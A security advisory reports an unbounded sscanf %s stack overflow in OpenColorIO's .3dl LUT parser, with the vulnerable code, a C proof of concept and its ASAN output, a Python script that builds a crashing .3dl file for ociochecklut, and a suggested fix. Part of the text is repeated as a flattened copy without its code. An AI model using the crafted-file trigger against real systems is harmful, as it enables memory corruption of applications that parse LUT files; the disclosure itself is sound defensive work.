Stack buffer overflow via unbounded sscanf %s in Discreet 1DL (.3dl) LUT parser
Summary
FileFormatDiscreet1DL.cpp:416 uses sscanf with %s into a 16-byte stack buffer without width limit. A crafted .3dl file with a long third token overflows dstDepthS[16] by up to 184 bytes, corrupting the stack.
Details
In IMLutTableFromFile, line 412-416:
char dstDepthS[16] = "";
#ifdef _WIN32
const int nummatched = sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS, 16);
#else
const int nummatched = sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS);
#endif
On non-Windows, %s writes without any limit into the 16-byte buffer. On Windows, the extra 16 argument is passed to sscanf (not sscanf_s), so it's ignored — vulnerable on all platforms.
InString is read from the file and can be up to 200 bytes. The third token (dstDepthS) gets whatever follows the two integers, with no width constraint.
PoC
Standalone reproduction (confirmed with ASAN):
#include <stdio.h>
#include <string.h>
int main(void) {
char InString[200];
int numtables, length;
char dstDepthS[16] = "";
snprintf(InString, 200, "LUT: 3 256 %s",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS);
return 0;
}
$ gcc -fsanitize=address -g -o poc poc.c && ./poc
==18210==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7486b4b00060
WRITE of size 183 at 0x7486b4b00060 thread T0
#0 in scanf_common
#1 in __isoc99_sscanf
#2 in main /tmp/test_sscanf.c:16
To trigger via ociochecklut:
python3 -c "
line = 'LUT: 3 256 ' + 'A' * 200
with open('crash.3dl', 'w') as f:
f.write(line + '\n')
for i in range(256):
f.write(f'{i} {i} {i}\n')
"
ociochecklut crash.3dl
Impact
Stack buffer overflow when parsing a crafted .3dl LUT file. Attacker-controlled data overwrites up to 184 bytes on the stack past the 16-byte buffer. Reachable by opening any .3dl file through the OCIO API or CLI tools.
Suggested fix
// Change %s to %15s:
const int nummatched = sscanf(InString, "%*s %d %d %15s", &numtables, &length, dstDepthS);
Stack buffer overflow via unbounded
sscanf %sin Discreet 1DL (.3dl) LUT parserSummary
FileFormatDiscreet1DL.cpp:416usessscanfwith%sinto a 16-byte stack buffer without width limit. A crafted .3dl file with a long third token overflowsdstDepthS[16]by up to 184 bytes, corrupting the stack.Details
In
IMLutTableFromFile, line 412-416:On non-Windows,
%swrites without any limit into the 16-byte buffer. On Windows, the extra16argument is passed tosscanf(notsscanf_s), so it's ignored — vulnerable on all platforms.InStringis read from the file and can be up to 200 bytes. The third token (dstDepthS) gets whatever follows the two integers, with no width constraint.PoC
Standalone reproduction (confirmed with ASAN):
To trigger via ociochecklut:
Impact
Stack buffer overflow when parsing a crafted .3dl LUT file. Attacker-controlled data overwrites up to 184 bytes on the stack past the 16-byte buffer. Reachable by opening any .3dl file through the OCIO API or CLI tools.
Suggested fix